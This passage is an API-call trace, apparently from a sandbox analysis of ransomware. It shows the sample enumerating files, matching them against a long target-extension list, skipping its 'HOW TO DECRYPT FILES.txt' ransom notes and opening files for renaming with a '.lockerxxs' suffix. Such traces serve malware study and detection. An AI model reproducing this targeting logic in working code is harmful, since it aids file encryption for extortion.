Shared\\Stationery\\Connectivity.gif", pszSpec="*.xlsx") returned 0 [0058.761] lstrlenA (lpString="*.xlsx") returned 6 [0058.761] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.xls") returned 0 [0058.761] lstrlenA (lpString="*.xls") returned 5 [0058.761] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.mp4") returned 0 [0058.761] lstrlenA (lpString="*.mp4") returned 5 [0058.761] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.ppt") returned 0 [0058.761] lstrlenA (lpString="*.ppt") returned 5 [0058.762] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.pptx") returned 0 [0058.762] lstrlenA (lpString="*.pptx") returned 6 [0058.762] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.doc") returned 0 [0058.762] lstrlenA (lpString="*.doc") returned 5 [0058.762] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.dot") returned 0 [0058.762] lstrlenA (lpString="*.dot") returned 5 [0058.762] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.docx") returned 0 [0058.762] lstrlenA (lpString="*.docx") returned 6 [0058.762] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.7z") returned 0 [0058.762] lstrlenA (lpString="*.7z") returned 4 [0058.762] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.tar") returned 0 [0058.762] lstrlenA (lpString="*.tar") returned 5 [0058.762] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.bz2") returned 0 [0058.762] lstrlenA (lpString="*.bz2") returned 5 [0058.762] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.gz") returned 0 [0058.762] lstrlenA (lpString="*.gz") returned 4 [0058.762] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.mkv") returned 0 [0058.762] lstrlenA (lpString="*.mkv") returned 5 [0058.762] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.eml") returned 0 [0058.762] lstrlenA (lpString="*.eml") returned 5 [0058.762] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.msg") returned 0 [0058.762] lstrlenA (lpString="*.msg") returned 5 [0058.762] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.edb") returned 0 [0058.762] lstrlenA (lpString="*.edb") returned 5 [0058.762] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.accdb") returned 0 [0058.762] lstrlenA (lpString="*.accdb") returned 7 [0058.763] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.odb") returned 0 [0058.763] lstrlenA (lpString="*.odb") returned 5 [0058.763] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.java") returned 0 [0058.763] lstrlenA (lpString="*.java") returned 6 [0058.763] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.asm") returned 0 [0058.763] lstrlenA (lpString="*.asm") returned 5 [0058.763] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.pfx") returned 0 [0058.763] lstrlenA (lpString="*.pfx") returned 5 [0058.763] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.pem") returned 0 [0058.763] lstrlenA (lpString="*.pem") returned 5 [0058.763] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.p12") returned 0 [0058.763] lstrlenA (lpString="*.p12") returned 5 [0058.763] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.gpg") returned 0 [0058.763] lstrlenA (lpString="*.gpg") returned 5 [0058.763] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.vsd") returned 0 [0058.763] lstrlenA (lpString="*.vsd") returned 5 [0058.763] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.odg") returned 0 [0058.763] lstrlenA (lpString="*.odg") returned 5 [0058.763] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.raw") returned 0 [0058.763] lstrlenA (lpString="*.raw") returned 5 [0058.763] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.nef") returned 0 [0058.763] lstrlenA (lpString="*.nef") returned 5 [0058.763] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.svg") returned 0 [0058.763] lstrlenA (lpString="*.svg") returned 5 [0058.763] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.psd") returned 0 [0058.763] lstrlenA (lpString="*.psd") returned 5 [0058.763] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.vmx") returned 0 [0058.764] lstrlenA (lpString="*.vmx") returned 5 [0058.764] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.vmdk") returned 0 [0058.764] lstrlenA (lpString="*.vmdk") returned 6 [0058.764] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.vdi") returned 0 [0058.764] lstrlenA (lpString="*.vdi") returned 5 [0058.764] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.lay6") returned 0 [0058.764] lstrlenA (lpString="*.lay6") returned 6 [0058.764] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.mpeg") returned 0 [0058.764] lstrlenA (lpString="*.mpeg") returned 6 [0058.764] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.djvu") returned 0 [0058.764] lstrlenA (lpString="*.djvu") returned 6 [0058.764] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.tiff") returned 0 [0058.764] lstrlenA (lpString="*.tiff") returned 6 [0058.764] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.backup") returned 0 [0058.764] lstrlenA (lpString="*.backup") returned 8 [0058.764] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.pdf") returned 0 [0058.764] lstrlenA (lpString="*.pdf") returned 5 [0058.764] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.cert") returned 0 [0058.764] lstrlenA (lpString="*.cert") returned 6 [0058.764] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.docm") returned 0 [0058.764] lstrlenA (lpString="*.docm") returned 6 [0058.764] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.xlsm") returned 0 [0058.764] lstrlenA (lpString="*.xlsm") returned 6 [0058.764] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.dwg") returned 0 [0058.764] lstrlenA (lpString="*.dwg") returned 5 [0058.764] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.nd") returned 0 [0058.765] lstrlenA (lpString="*.nd") returned 4 [0058.765] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.tlg") returned 0 [0058.765] lstrlenA (lpString="*.tlg") returned 5 [0058.765] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.lgb") returned 0 [0058.765] lstrlenA (lpString="*.lgb") returned 5 [0058.765] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.mov") returned 0 [0058.765] lstrlenA (lpString="*.mov") returned 5 [0058.765] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.xdw") returned 0 [0058.765] lstrlenA (lpString="*.xdw") returned 5 [0058.765] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.ods") returned 0 [0058.765] lstrlenA (lpString="*.ods") returned 5 [0058.765] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.wav") returned 0 [0058.765] lstrlenA (lpString="*.wav") returned 5 [0058.765] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.mp3") returned 0 [0058.765] lstrlenA (lpString="*.mp3") returned 5 [0058.765] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.aiff") returned 0 [0058.765] lstrlenA (lpString="*.aiff") returned 6 [0058.765] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.flac") returned 0 [0058.765] lstrlenA (lpString="*.flac") returned 6 [0058.765] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.m4a") returned 0 [0058.765] lstrlenA (lpString="*.m4a") returned 5 [0058.765] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.csv") returned 0 [0058.765] lstrlenA (lpString="*.csv") returned 5 [0058.765] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0058.765] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.765] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Desktop.ini") returned 1 [0058.766] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Desktop.ini") returned 1 [0058.766] lstrcmpiA (lpString1="", lpString2="Desktop.ini") returned -1 [0058.766] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned="Connectivity.gif" [0058.766] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.766] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.766] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.766] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.766] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Desktop.ini" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" [0058.766] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.ems") returned 0 [0058.766] lstrlenA (lpString="*.ems") returned 5 [0058.766] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.db") returned 0 [0058.766] lstrlenA (lpString="*.db") returned 4 [0058.766] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.dbf") returned 0 [0058.766] lstrlenA (lpString="*.dbf") returned 5 [0058.766] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.myox") returned 0 [0058.766] lstrlenA (lpString="*.myox") returned 6 [0058.766] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.myo") returned 0 [0058.766] lstrlenA (lpString="*.myo") returned 5 [0058.766] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.qbw") returned 0 [0058.766] lstrlenA (lpString="*.qbw") returned 5 [0058.766] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.qbb") returned 0 [0058.767] lstrlenA (lpString="*.qbb") returned 5 [0058.767] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.qbm") returned 0 [0058.767] lstrlenA (lpString="*.qbm") returned 5 [0058.767] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.qbo") returned 0 [0058.767] lstrlenA (lpString="*.qbo") returned 5 [0058.767] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.qbx") returned 0 [0058.767] lstrlenA (lpString="*.qbx") returned 5 [0058.767] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.qba") returned 0 [0058.767] lstrlenA (lpString="*.qba") returned 5 [0058.767] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.qby") returned 0 [0058.767] lstrlenA (lpString="*.qby") returned 5 [0058.767] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.qbj") returned 0 [0058.767] lstrlenA (lpString="*.qbj") returned 5 [0058.767] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.ofx") returned 0 [0058.767] lstrlenA (lpString="*.ofx") returned 5 [0058.767] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.qif") returned 0 [0058.767] lstrlenA (lpString="*.qif") returned 5 [0058.767] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.mye") returned 0 [0058.767] lstrlenA (lpString="*.mye") returned 5 [0058.767] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.mbox") returned 0 [0058.767] lstrlenA (lpString="*.mbox") returned 6 [0058.767] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.eml") returned 0 [0058.767] lstrlenA (lpString="*.eml") returned 5 [0058.767] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.pst") returned 0 [0058.767] lstrlenA (lpString="*.pst") returned 5 [0058.768] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.ost") returned 0 [0058.768] lstrlenA (lpString="*.ost") returned 5 [0058.768] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.idx") returned 0 [0058.768] lstrlenA (lpString="*.idx") returned 5 [0058.768] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.dbx") returned 0 [0058.768] lstrlenA (lpString="*.dbx") returned 5 [0058.768] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.sql") returned 0 [0058.768] lstrlenA (lpString="*.sql") returned 5 [0058.768] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.mdb") returned 0 [0058.768] lstrlenA (lpString="*.mdb") returned 5 [0058.768] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.fdb") returned 0 [0058.768] lstrlenA (lpString="*.fdb") returned 5 [0058.768] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.wab") returned 0 [0058.768] lstrlenA (lpString="*.wab") returned 5 [0058.768] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.dat") returned 0 [0058.768] lstrlenA (lpString="*.dat") returned 5 [0058.768] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.txt") returned 0 [0058.768] lstrlenA (lpString="*.txt") returned 5 [0058.768] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.jpeg") returned 0 [0058.768] lstrlenA (lpString="*.jpeg") returned 6 [0058.768] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.jpg") returned 0 [0058.768] lstrlenA (lpString="*.jpg") returned 5 [0058.768] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.png") returned 0 [0058.768] lstrlenA (lpString="*.png") returned 5 [0058.768] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.php") returned 0 [0058.769] lstrlenA (lpString="*.php") returned 5 [0058.769] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", pszSpec="*.cs") returned 0 [0058.769] lstrlenA (lpString="*.cs") returned 4 [0058.769] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0058.769] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.769] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Dotted_Lines.emf") returned 1 [0058.769] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Dotted_Lines.emf") returned 1 [0058.769] lstrcmpiA (lpString1="", lpString2="Dotted_Lines.emf") returned -1 [0058.769] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned="Desktop.ini" [0058.769] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.769] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.769] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.769] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.769] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Dotted_Lines.emf" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" [0058.769] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0058.770] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.770] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Garden.htm") returned -1 [0058.770] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Garden.htm") returned 1 [0058.770] lstrcmpiA (lpString1="", lpString2="Garden.htm") returned -1 [0058.770] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned="Dotted_Lines.emf" [0058.770] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.770] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.770] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.770] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.770] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Garden.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" [0058.770] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" [0058.770] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" [0058.770] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm." [0058.770] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.lockerxxs" [0058.770] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.770] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x4f8270, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0058.771] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.771] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Garden.jpg") returned -1 [0058.771] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Garden.jpg") returned 1 [0058.771] lstrcmpiA (lpString1="", lpString2="Garden.jpg") returned -1 [0058.771] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned="Garden.htm" [0058.771] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft 